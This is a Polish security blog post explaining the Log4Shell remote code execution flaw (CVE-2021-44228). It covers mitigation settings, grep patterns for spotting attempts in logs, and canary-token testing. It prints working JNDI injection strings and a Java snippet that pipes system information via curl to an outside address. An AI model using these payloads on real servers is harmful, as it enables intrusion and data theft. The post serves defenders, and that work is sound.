Log4Shell – Remote Code Injection w Log4j CVE-2021-44228
Napisał: Patryk Krawaczyński
11/12/2021 w Bezpieczeństwo 1 komentarz. (artykuł nr 805, ilość słów: 586)
Podsumowanie:
Wersje Log4j wcześniejsze niż 2.15.0 są narażone na lukę umożliwiającą zdalne wykonanie kodu głównie za pośrednictwem parsera LDAP JNDI. Zgodnie z przewodnikiem bezpieczeństwa tego projektu z fundacji Apache wersje Log4j <= 2.14.1 posiadają funkcje JNDI używane w konfiguracji, komunikatach logów i parametrach nie są chronione przed punktami końcowymi, które atakujący może wstrzyknąć i np. za pomocą protokołu LDAP (lub innego) pobrać i wykonać dowolny kod z zdalnego zasobu. Serwer z podatną wersją Log4j, do którego atakujący może wysyłać kontrolowane przez siebie komunikaty logów np. frazy wyszukiwania lub wartości nagłówków HTTP może wykonać dowolny kod pobrany z zewnętrznych serwerów LDAP. Wystarczy logować dane wejściowe lub meta dane użytkownika:
log.info("Użytkownik wyszukiwał: {}", userQuery);
log.info("Aplikacja kliencka użytkownika: {}", userAgent);
Aby doprowadzić do wycieku informacji lub zdalnego wywołania protokołem LDAP, powodując utworzenie szkodliwej instancji klasy Java. Wystarczy, że użytkownik prześlę w/w dane w postaci:
${jndi:ldap://10.0.0.1:443/${main:1}.${main:2}.{$java:version}} ${jndi:ldap://10.0.0.2:8080/szkodliwy_kod}
Kod do wykonania po stronie serwera może mieć przykładową postać:
String payload = "uname -a | curl -d @- http://10.0.0.1"; String[] cmds = {"/bin/bash", "-c", payload}; java.lang.Runtime.getRuntime().exec(cmds);
Jednak, jak wiadomo może to być również bardziej szkodliwa postać np. ładująca dany typ Ransomware. Możliwe jest również użycie protokołu DNS:
${jndi:dns://dns.serwer.pl/rekord_TXT}
Co przy dużej skali podatnych serwerów może umożliwiać przeprowadzanie ataków typu DDoS. W tej chwili nie jest jeszcze jasne, czy protokół DNS zapewnia również ścieżkę do wykonania dowolnego kodu, ale można go też użyć do skanowania innych serwerów w poszukiwaniu luk, a nawet do tunelowania danych przez DNS, gdy inne protokoły są zablokowane lub kontrolowane przez systemy bezpieczeństwa. Zachowanie to zostało domyślnie wyłączone w Log4j od wersji 2.15.0 dlatego należy jak najszybciej wykonać aktualizację.
Mitygacja zagrożenia:
W wersjach >= 2.10 zachowanie to można złagodzić, ustawiając właściwość systemową lub parametr JVM serwera oraz klienta Javy:
formatMsgNoLookups: true -Dlog4j2.formatMsgNoLookups=true
lub systemową zmienną środowiskową:
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
W przypadku wydań od 2.0-beta9 do 2.10.0 rozwiązaniem jest usunięcie klasy JndiLookup
ze ścieżki wczytującej klasy:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Dodatkowym czynnikiem dla protokołów RMI oraz CosNaming (których też można użyć w tej luce) jest używanie Javy w wersjach równych lub wyższych niż:
- Java 6 – 6u212
- Java 7 – 7u202
- Java 8 – 8u192
- Java 11 – 11.0.2
To dlatego, że wersje te dodały ulepszoną ochronę dla zdalnego ładowania klas JNDI, co jest potrzebne do eksploatacji. W innym przypadku powinniśmy użyć ustawień:
com.sun.jndi.rmi.object.trustURLCodebase: false com.sun.jndi.cosnaming.object.trustURLCodebase: false
Jednak zawsze najlepszym rozwiązaniem jest aktualizacja pakietu Log4j do niepodatnej wersji.
Wykrywanie:
Ślady prób eksploatacji w nieskompresowanych plikach logów:
sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
Ślady prób eksploatacji w skompresowanych plikach logów:
sudo find /var/log -name \*.gz -print0 | xargs -0 \ zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
W celu przetestowania swojej aplikacji możemy użyć serwisu canarytokens.org, z rozwijanej listy typów tokenów wybrać Log4Shell; podać swój adres e-mail; podać notkę określającą do jakiego celu jest tworzony token; wygenerować token np.:
${jndi:ldap://39ljtl9j5pexw.canarytokens.com/a}
i zacząć go używać do testowania własnej aplikacji z poziomu różnych formularzy wyszukiwarki, danych profilowych, ustawień itp. Jeśli token zostanie gdzieś wykonany otrzymamy stosowne powiadomienie. Należy pamiętać, że nawet jeśli nasze aplikacje nie korzystają bezpośrednio z Log4j to otaczająca je infrastruktura może używać tych kombinacji wersji Javy i Log4j narażając je na lukę.
Więcej informacji: URGENT: Analysis and Remediation Guidance to the Log4j Zero-Day RCE (CVE-2021-44228) Vulnerability, RCE in log4j, Log4Shell, or how things can get bad quickly, Actual CVE-2021-44228 payloads captured in the wild, Digging deeper into Log4Shell – 0Day RCE exploit found in Log4j
Kolejne CVE wykorzystujące lukę log4shell to: CVE-2021-45046, CVE-2021-45105 oraz CVE-2021-44832.